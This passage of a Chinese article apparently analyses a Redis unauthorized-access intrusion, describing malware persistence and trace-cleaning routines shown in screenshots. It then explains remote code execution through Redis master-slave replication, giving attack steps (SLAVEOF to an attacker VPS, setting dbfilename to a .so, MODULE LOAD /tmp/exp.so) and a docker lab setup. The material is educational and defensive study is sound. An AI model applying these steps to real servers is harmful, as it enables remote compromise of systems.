下图为检测服务里面的内容是不是自定义的
![对一次 redis 未授权写入攻击的分析以及学习](http://img.jiangsulong.com/220403/124220LT-18.jpg)
文章插图
如果是的话就添加到系统服务并开启
![对一次 redis 未授权写入攻击的分析以及学习](http://img.jiangsulong.com/220403/1242202646-19.jpg)
文章插图
如果检测到内容已经被修改了,那么就删除这个服务,并重新创建
![对一次 redis 未授权写入攻击的分析以及学习](http://img.jiangsulong.com/220403/1242201519-20.jpg)
文章插图
11.clean()
该函数的主要作用是删除一些留下的痕迹,包括 history 和登录痕迹等
![对一次 redis 未授权写入攻击的分析以及学习](http://img.jiangsulong.com/220403/1242201Z4-21.jpg)
文章插图
0X03 利用 Redis 主从复制来 RCE
1.基本原理
该攻击方法使用的是 Redis 中的主从复制,以及 Redis4.x 中新引入的自定义模块加载功能 。
(1)先简单解释一下这两个概念
主从复制的概念:
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库 。虽然 Redi s 的读写速度都非常快,但如果当把数据都存储在单个Redis的实例中,供客户端去读取的话,那么很有可能会产生服务器难以承受的读压力 。
为了缓解这样的压力,主从复制这样的机制出现了,主从模式就是指使用 一个 redis实例作为主机(master),其他实例 都 作为从机(slave),主机只负责写入数据,很多的从机负责读,这就很想我们常常说的 CDN 负载均衡的功能,如下图所示
![对一次 redis 未授权写入攻击的分析以及学习](http://img.jiangsulong.com/220403/1242201328-22.jpg)
文章插图
那么主从复制是如何进行的呢?
![对一次 redis 未授权写入攻击的分析以及学习](http://img.jiangsulong.com/220403/1242203230-23.jpg)
文章插图
我们重点关注 RDB 文件部分,我们可以发现主从复制依赖的还是我们之前经常利用的 RDB 文件,slave 与 master 的同步就和 MySQL 使用 Binlog 去恢复数据是一样的 。
Redis 4.x 自定义模块加载:
Redis从4.0版本开始加入了对外部扩展模块的支持(其实以前在unstable的版本时 redis 就支持社区的自定义模块了) 。外部扩展模块可以实现新的Redis命令,新的Redis数据结构,总之基本上可以做到所有Redis内核可以做的事情 。
Redis模块需要引入redismodule.h,用C、C++或其他提供C binding的开发语言实现,并编译成动态库.so文件 。
模块的加载方式,一种是在配置文件redis.conf中使用loadmodule /path/to/mymodule.so在Redis启动时加载 。另一种方式在运行时使用命令MODULE LOAD /path/to/mymodule.so加载 。加载的模块可以使用命令MODULE LIST查看,使用MODULE UNLOAD mymodule卸载 。
加载了模块以后我们就能直接执行我们在模块中自定义的命令了,这是不是有点像 MYSQL 的 UDF(其实就是一个道理)
(2)将两者配合起来
slave 能主从复制机制从 master 获取到 rdb 文件,那么我们是不是可以自己写一个 “流氓服务器” 去模拟 master 然后将我们自定义的模块通过这种主从复制机制传递到 slave 上,slave 端只要将,我们传递来的 rdb 文件保存成一个 .so 文件然后再去进行模块加载,我们的攻击就完成了
2.该种利用方法的优点
使用这种攻击方法就可以完美的解决下面两个问题,直接实现在目标机器上 RCE
1.高版本 redis 启动默认是以 redis 权限启动的,这也就意味着,我们没法写 crontab(写文件形式修改 crontab 被禁用,只能通过交互 crontab -e 进行修改,但是对我们没有用),可以写 redis 用户的 ssh key,但是由于是低权限用户,危害较小,当然我们可以写 webshell(前提是这台服务器上有装 web 服务)
2.ubuntu 服务器实际上用 bash 反弹比较费劲,只能考虑使用 python
3.利用条件
Redis 4.x
可以远程连接到目标 redis 服务器
4.利用的基本步骤
其实上面我们已经说了,这里再细化一下
(1)在目标上执行, 将自己vps设置为master: SLAVEOF vps port
(2)在目标上执行,设置一下 dbfilename 为 xxx.so 文件
(3)通过同步,将模块文件写到目标的磁盘上: FULLRESYNC <Z*40> 1rn$ rn (4)在目标上执行,加载模块: MODULE LOAD /tmp/exp.so
5.利用演示
(1)下载 redis 4.0 镜像作为受害靶机
docker pull redis:4.0(2)交互方式运行镜像,将 6379 端口映射到主机的 6666 端口
docker run -p 6666:6379 -it 67f7ad418fdf /bin/bash(3)在 docker 中启动 redis 服务
redis-server(4)启动以后我们可以远程连接看一下效果
![对一次 redis 未授权写入攻击的分析以及学习](http://img.jiangsulong.com/220403/12422042K-24.jpg)
文章插图
推荐阅读
- Redis快的秘诀
- 电饼铛第一次使用有烧焦味 电饼铛第一次用冒烟正常吗
- 主板怎么选?来看看这几款吧
- 抖音直播dou+推广有效果吗 抖音投放dou后对账号有什么影响吗
- 西山品虫茶
- 男生介绍对象是试探吗,男生把你推给另一个男生怎么回
- 对眼睛有帮助的食物,除了胡萝卜,还有什么食物
- 居家消毒,你做对了吗
- 汽车应该多少公里大保养一次,保养什么,多少钱
- 快手小店信息通知提醒